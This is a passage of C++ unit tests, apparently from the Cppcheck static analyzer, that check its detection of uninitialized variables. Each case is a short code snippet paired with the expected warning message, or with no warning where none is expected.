memcmp(a,q,10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char a[100];\\n\"\n \" strncpy(a,p,10);\\n\"\n \" if (memcmp(a,q,10)==0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Using strncpy isn't necessarily dangerous usage\n checkUninitVar(\"void f(const char dev[], char *str) {\\n\"\n \" char buf[10];\\n\"\n \" strncpy(buf, dev, 10);\\n\"\n \" strncpy(str, buf, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char dst[4];\\n\"\n \" const char* source = \\\"You\\\";\\n\"\n \" strncpy(dst, source, sizeof(dst));\\n\"\n \" char value = dst[2];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // valid and invalid use of 'int a(int x) { return x + x; }'\n void func_uninit_var() {\n const std::string funca(\"int a(int x) { return x + x; }\");\n\n checkUninitVar((funca +\n \"void b() {\\n\"\n \" int x;\\n\"\n \" a(x);\\n\"\n \"}\").c_str());\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar((funca +\n \"void b() {\\n\"\n \" int *p;\\n\"\n \" a(*p);\\n\"\n \"}\").c_str());\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n }\n\n\n // valid and invalid use of 'void a(int *p) { *p = 0; }'\n void func_uninit_pointer() {\n const std::string funca(\"void a(int *p) { *p = 0; }\");\n\n // ok - initialized pointer\n checkUninitVar((funca +\n \"void b() {\\n\"\n \" int buf[10];\\n\"\n \" a(buf);\\n\"\n \"}\").c_str());\n ASSERT_EQUALS(\"\", errout_str());\n\n // not ok - uninitialized pointer\n checkUninitVar((funca +\n \"void b() {\\n\"\n \" int *p;\\n\"\n \" a(p);\\n\"\n \"}\").c_str());\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n }\n\n void uninitvar_typeof() {\n checkUninitVar(\"void f() {\\n\"\n \" struct Fred *fred;\\n\"\n \" typeof(fred->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" struct SData * s;\\n\"\n \" ab(typeof(s->status));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" struct SData * s;\\n\"\n \" TYPEOF(s->status);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:3:12]: (error) Uninitialized variable: s [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int *n = ({ typeof(*n) z; (typeof(*n)*)z; })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_ignore() {\n checkUninitVar(\"void foo() {\\n\"\n \" int i;\\n\"\n \" dostuff((int&)i, 0);\\n\" // <- cast is not use\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo() {\\n\"\n \" int i;\\n\"\n \" return (int&)i + 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo() {\\n\"\n \" int i;\\n\"\n \" dostuff(*&i, 0);\\n\" // <- *& is not use\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo() {\\n\"\n \" int i;\\n\"\n \" return *&i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n }\n\n void uninitvar2() {\n // using uninit var\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n // extracttests.start: char str[10];\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" str[x] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // #7736\n \" int buf[12];\\n\"\n \" printf (\\\"%d\\\", buf[0] );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Uninitialized variable: buf [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" int y = x & 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" int y = 3 & x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 3 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n // extracttests.start: struct ABC {int a;};\n checkUninitVar(\"void f() {\\n\"\n \" struct ABC *abc;\\n\"\n \" abc->a = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Uninitialized variable: abc [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int f() {\\n\"\n \" static int x;\\n\"\n \" return ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f() {\\n\"\n \" extern int x;\\n\"\n \" return ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // #3926 - weird cast.\n \" int x;\\n\"\n \" *(((char *)&x) + 0) = 0;\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // #4737 - weird cast.\n \" int x;\\n\"\n \" do_something(&((char*)&x)[0], 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" char *p = (char*)&x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int i;\\n\"\n \" i=f(), i!=2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // using uninit var in condition\n checkUninitVar(\"void f(void) {\\n\"\n \" int x;\\n\"\n \" if (x) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (1 == (3 & x)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n // ?:\n checkUninitVar(\"int f(int *ptr) {\\n\"\n \" int a;\\n\"\n \" int *p = ptr ? ptr : &a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f(int a) {\\n\"\n \" int x;\\n\"\n \" if (a==3) { x=2; }\\n\"\n \" y = (a==3) ? x : a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // = ({ .. })\n checkUninitVar(\"void f() {\\n\"\n \" int x = ({ 1 + 2; });\\n\"\n \" int y = 1 + (x ? y : y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (error) Uninitialized variable: y [legacyUninitvar]\\n\", errout_str());\n\n // >> => initialization / usage\n {\n const char code[] = \"void f() {\\n\"\n \" int x;\\n\"\n \" if (i >> x) { }\\n\"\n \"}\";\n checkUninitVar(code);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(code, dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n }\n\n checkUninitVar(\"void f() {\\n\"\n \" int i, i2;\\n\"\n \" strm >> i >> i2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unconditional initialization\n checkUninitVar(\"int f() {\\n\"\n \" int ret;\\n\"\n \" if (a) { ret = 1; }\\n\"\n \" else { {} ret = 2; }\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f() {\\n\"\n \" int ret;\\n\"\n \" if (a) { ret = 1; }\\n\"\n \" else { s=foo(1,{2,3},4); ret = 2; }\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // conditional initialization\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (y == 1) { x = 1; }\\n\"\n \" else { if (y == 2) { x = 1; } }\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (y == 1) { x = 1; }\\n\"\n \" else { if (y == 2) { x = 1; } }\\n\"\n \" if (y == 3) { }\\n\" // <- ignore condition\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n // initialization in condition\n checkUninitVar(\"void f() {\\n\"\n \" int a;\\n\"\n \" if (init(&a)) { }\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return, break, continue, goto\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (y == 1) { return; }\\n\"\n \" else { x = 1; }\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (y == 1) { return; }\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int f(int x) {\\n\"\n \" int ret;\\n\"\n \" if (!x) {\\n\"\n \" ret = -123;\\n\"\n \" goto out1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"out1:\\n\"\n \"out2:\\n\"\n \" return ret;\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int i;\\n\"\n \" if (x) {\\n\"\n \" i = 1;\\n\"\n \" } else {\\n\"\n \" goto out;\\n\"\n \" }\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f() {\\n\"\n \" int i,x;\\n\"\n \" for (i=0;i<9;++i)\\n\"\n \" if (foo) break;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int f() {\\n\"\n \" int x;\\n\"\n \" while (foo)\\n\"\n \" if (bar) break;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n // try/catch : don't warn about exception variable\n checkUninitVar(\"void f() {\\n\"\n \" try {\\n\"\n \" } catch (CException* e) {\\n\"\n \" trace();\\n\"\n \" e->Delete();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // #5347\n \" try {\\n\"\n \" } catch (const char* e) {\\n\"\n \" A a = e;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // exit\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (y == 1) { exit(0); }\\n\"\n \" else { x = 1; }\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strange code.. don't crash (#3415)\n checkUninitVar(\"void foo() {\\n\"\n \" int i;\\n\"\n \" ({ if (0); });\\n\"\n \" for_each(i) { }\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n\n // if, if\n checkUninitVar(\"void f(int a) {\\n\"\n \" int i;\\n\"\n \" if (a) i = 0;\\n\"\n \" if (a) i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int a,b=0;\\n\"\n \" if (x) {\\n\"\n \" if (y) {\\n\"\n \" a = 0;\\n\"\n \" b = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if (b) a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int a=0, b;\\n\"\n \" if (x) { }\\n\"\n \" else { if (y==2) { a=1; b=2; } }\\n\"\n \" if (a) { ++b; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"static void f(int x, int y) {\\n\"\n \" int a;\\n\"\n \" if (x == 0) { a = y; }\\n\"\n \" if (x == 0 && (a == 1)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"static void f() {\\n\"\n \" int a=0, b;\\n\"\n \" if (something) { a = dostuff(&b); }\\n\"\n \" if (!a || b) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"static void f(int x, int y) {\\n\"\n \" int a;\\n\"\n \" if (x == 0 && (a == 1)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int a;\\n\"\n \" if (x) { a = 0; }\\n\"\n \" if (x) { if (y) { a++; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int a;\\n\"\n \" if (x) { a = 0; }\\n\"\n \" if (x) { if (y) { } else { a++; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" if (x) ab = getAB();\\n\"\n \" else ab.a = 0;\\n\"\n \" if (ab.a == 1) b = ab.b;\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f(void) {\\n\"\n \" int a;\\n\"\n \" int i;\\n\"\n \" if (x) { noreturn(); }\\n\"\n \" else { i = 0; }\\n\"\n \" if (i==1) { a = 0; }\\n\"\n \" else { a = 1; }\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f(int a) {\\n\" // #4560\n \" int x = 0, y;\\n\"\n \" if (a) x = 1;\\n\"\n \" else return 0;\\n\"\n \" if (x) y = 123;\\n\" // <- y is always initialized\n \" else {}\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f(int a) {\\n\" // #6583\n \" int x;\\n\"\n \" if (a < 2) exit(1);\\n\"\n \" else if (a == 2) x = 0;\\n\"\n \" else exit(2);\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f(int a) {\\n\" // #4560\n \" int x = 1, y;\\n\"\n \" if (a) x = 0;\\n\"\n \" else return 0;\\n\"\n \" if (x) {}\\n\"\n \" else y = 123;\\n\" // <- y is always initialized\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\" // #3948\n \" int value;\\n\"\n \" if (x !=-1)\\n\"\n \" value = getvalue();\\n\"\n \" if (x == -1 || value > 300) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"enum t_err { ERR_NONE, ERR_BAD_ARGS };\\n\" // #9649\n \"struct box_t { int value; };\\n\"\n \"int init_box(box_t *p, int v);\\n\"\n \"\\n\"\n \"void foo(int ret) {\\n\"\n \" box_t box2;\\n\"\n \" if (ret == ERR_NONE)\\n\"\n \" ret = init_box(&box2, 20);\\n\"\n \" if (ret == ERR_NONE)\\n\"\n \" z = x + box2.value;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" int value;\\n\"\n \" if (x == 32)\\n\"\n \" value = getvalue();\\n\"\n \" if (x == 1)\\n\"\n \" v = value;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (error) Uninitialized variable: value [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" int value;\\n\"\n \" if (x == 32)\\n\"\n \" value = getvalue();\\n\"\n \" if (x == 32) {}\\n\"\n \" else v = value;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Uninitialized variable: value [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static int x;\" // #4773\n \"int f() {\\n\"\n \" int y;\\n\"\n \" if (x) g();\\n\"\n \" if (x) y = 123;\\n\"\n \" else y = 456;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"static int x;\" // #4773\n \"int f() {\\n\"\n \" int y;\\n\"\n \" if (!x) g();\\n\"\n \" if (x) y = 123;\\n\"\n \" else y = 456;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int a) {\\n\"\n \" int x;\\n\"\n \" if (a) x=123;\\n\"\n \" if (!a) {\\n\"\n \" if (!a) {}\\n\"\n \" else if (x) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // asm\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" asm();\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // sizeof / typeof / offsetof / etc\n checkUninitVar(\"void f() {\\n\"\n \" int i;\\n\"\n \" sizeof(i+1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int i;\\n\"\n \" if (100 == sizeof(i+1));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" struct ABC *abc;\\n\"\n \" int i = ARRAY_SIZE(abc.a);\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:3:24]: (error) Uninitialized variable: abc [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int *abc;\\n\"\n \" typeof(*abc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" struct ABC *abc;\\n\"\n \" return do_something(typeof(*abc));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" A *a;\\n\"\n \" a = malloc(sizeof(*a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // &\n checkUninitVar(\"void f() {\\n\" // #4426 - address of uninitialized variable\n \" int a,b;\\n\"\n \" if (&a == &b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // #4439 - cast address of uninitialized variable\n \" int a;\\n\"\n \" x((LPARAM)(RECT*)&a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int main() {\\n\"\n \" int done;\\n\"\n \" dostuff(1, (AuPointer) &done);\\n\" // <- It is not conclusive if the \"&\" is a binary or unary operator. Bailout.\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // #4778 - cast address of uninitialized variable\n \" long a;\\n\"\n \" &a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // #4717 - ({})\n \" int a = ({ long b = (long)(123); 2 + b; });\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #3869 - reference variable\n void uninitvar4() {\n checkUninitVar(\"void f() {\\n\"\n \" int buf[10];\\n\"\n \" int &x = buf[0];\\n\"\n \" buf[0] = 0;\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #3861\n void uninitvar5() {\n // ensure there is no false positive\n checkUninitVar(\"void f() {\\n\"\n \" x c;\\n\"\n \" c << 2345;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ensure there is no false negative\n checkUninitVar(\"void f() {\\n\"\n \" char c;\\n\"\n \" char a = c << 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Uninitialized variable: c [legacyUninitvar]\\n\", errout_str());\n }\n\n // #13227\n void uninitvar6() {\n checkUninitVar(\"int foo(int x) {\\n\"\n \" int i;\\n\"\n \" if (x == 1) {\\n\"\n \" i = 3;\\n\"\n \" } else {\\n\"\n \" do {\\n\"\n \" return 2;\\n\"\n \" } while (0);\\n\"\n \" }\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar8() {\n const char code[] = \"struct Fred {\\n\"\n \" void Sync(dsmp_t& type, int& len, int limit = 123);\\n\"\n \" void Sync(int& syncpos, dsmp_t& type, int& len, int limit = 123);\\n\"\n \" void FindSyncPoint();\\n\"\n \"};\\n\"\n \"void Fred::FindSyncPoint() {\\n\"\n \" dsmp_t type;\\n\"\n \" int syncpos, len;\\n\"\n \" Sync(syncpos, type, len);\\n\"\n \"}\";\n checkUninitVar(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar9() { // 6424\n const char code[] = \"namespace Ns { class C; }\\n\"\n \"void f1() { char *p; *p = 0; }\\n\"\n \"class Ns::C* p;\\n\"\n \"void f2() { char *p; *p = 0; }\";\n checkUninitVar(code);\n ASSERT_EQUALS(\"[test.cpp:2:23]: (error) Uninitialized variable: p [legacyUninitvar]\\n\"\n \"[test.cpp:4:23]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n }\n\n void uninitvar10() { // 9467\n const char code[] = \"class Foo {\\n\"\n \" template \\n\"\n \" bool bar() {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"template <>\\n\"\n \"bool Foo::bar<9>() {\\n\"\n \" return true;\\n\"\n \"}\\n\"\n \"int global() {\\n\"\n \" int bar = 1;\\n\"\n \" return bar;\\n\"\n \"}\";\n checkUninitVar(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar11() { // 9123\n const char code[] = \"bool get(int &var);\\n\"\n \"void foo () {\\n\"\n \" int x;\\n\"\n \" x = get(x) && x;\\n\"\n \"}\";\n checkUninitVar(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar12() { // 10218\n const char code[] = \"void fp() {\\n\"\n \" std::stringstream ss;\\n\"\n \" for (int i; ss >> i;) {}\\n\"\n \"}\";\n checkUninitVar(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar13() { // #9772 - FP\n const char code[] = \"int func(void)\\n\"\n \"{ int rez;\\n\"\n \" struct sccb* ccb;\\n\"\n \" \\n\"\n \" do\\n\"\n \" { if ((ccb = calloc(1, sizeof(*ccb))) == NULL)\\n\"\n \" { rez = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" rez = 0;\\n\"\n \" } while (0);\\n\"\n \" \\n\"\n \" if (rez != 0)\\n\"\n \" free(ccb);\\n\"\n \" \\n\"\n \" return rez;\\n\"\n \"}\";\n checkUninitVar(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar14() { // #11832\n const char code[] = \"void f() {\\n\"\n \" int b;\\n\"\n \" *(&b) = 0;\\n\"\n \"}\";\n checkUninitVar(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_unconditionalTry() {\n // Unconditional scopes and try{} scopes\n checkUninitVar(\"int f() {\\n\"\n \" int i;\\n\"\n \" {\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int f() {\\n\"\n \" int i;\\n\"\n \" try {\\n\"\n \" return i;\\n\"\n \" } catch(...) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f(bool x) {\\n\"\n \" bool b;\\n\"\n \" {\\n\"\n \" auto g = []{};\\n\"\n \" b = x;\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(bool x) {\\n\"\n \" bool b;\\n\"\n \" {\\n\"\n \" int i[2]{ 1, 2 };\\n\"\n \" b = x;\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(bool x) {\\n\"\n \" bool b;\\n\"\n \" {\\n\"\n \" auto g = []{};\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (error) Uninitialized variable: b [legacyUninitvar]\\n\", errout_str());\n }\n\n void uninitvar_funcptr() {\n // extracttests.disable\n\n checkUninitVar(\"void getLibraryContainer() {\\n\"\n \" Reference< XStorageBasedLibraryContainer >(*Factory)(const Reference< XComponentContext >&, const Reference< XStorageBasedDocument >&)\\n\"\n \" = &DocumentDialogLibraryContainer::create;\\n\"\n \" rxContainer.set((*Factory)(m_aContext, xDocument));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo() {\\n\"\n \" void* x;\\n\"\n \" int (*f)(int, int) = x;\\n\"\n \" dostuff((*f)(a,b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void getLibraryContainer() {\\n\"\n \" Reference< XStorageBasedLibraryContainer >(*Factory)(const Reference< XComponentContext >&, const Reference< XStorageBasedDocument >&);\\n\"\n \" rxContainer.set((*Factory)(m_aContext, xDocument));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Uninitialized variable: Factory [legacyUninitvar]\\n\", errout_str());\n\n // extracttests.enable\n }\n\n void uninitvar_operator() { // Ticket #6463, #6680\n checkUninitVar(\"struct Source { Source& operator>>(int& i) { i = 0; return *this; } };\\n\"\n \"struct Sink { int v; };\\n\"\n \"Source foo;\\n\"\n \"void uninit() {\\n\"\n \" Sink s;\\n\"\n \" int n = 1 >> s.v;\\n\" // Not initialized\n \"};\\n\"\n \"void notUninit() {\\n\"\n \" Sink s1;\\n\"\n \" foo >> s1.v;\\n\" // Initialized by operator>>\n \" Sink s2;\\n\"\n \" int n;\\n\"\n \" foo >> s2.v >> n;\\n\" // Initialized by operator>>\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (error) Uninitialized struct member: s.v [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct Fred { int a; };\\n\"\n \"void foo() {\\n\"\n \" Fred fred;\\n\"\n \" std::cin >> fred.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Handling of function calls\n void uninitvar2_func() {\n // #4716\n checkUninitVar(\"void bar(const int a, const int * const b);\\n\"\n \"int foo(void) {\\n\"\n \" int a;\\n\"\n \" int *b = 0;\\n\"\n \" bar(a,b);\\n\" // <<\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n // non-pointer variable\n checkUninitVar(\"void a(char);\\n\" // value => error\n \"void b() {\\n\"\n \" char c;\\n\"\n \" a(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Uninitialized variable: c [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void a(char c);\\n\" // value => error\n \"void b() {\\n\"\n \" char c;\\n\"\n \" a(c);\\n\"\n \"}\");\n 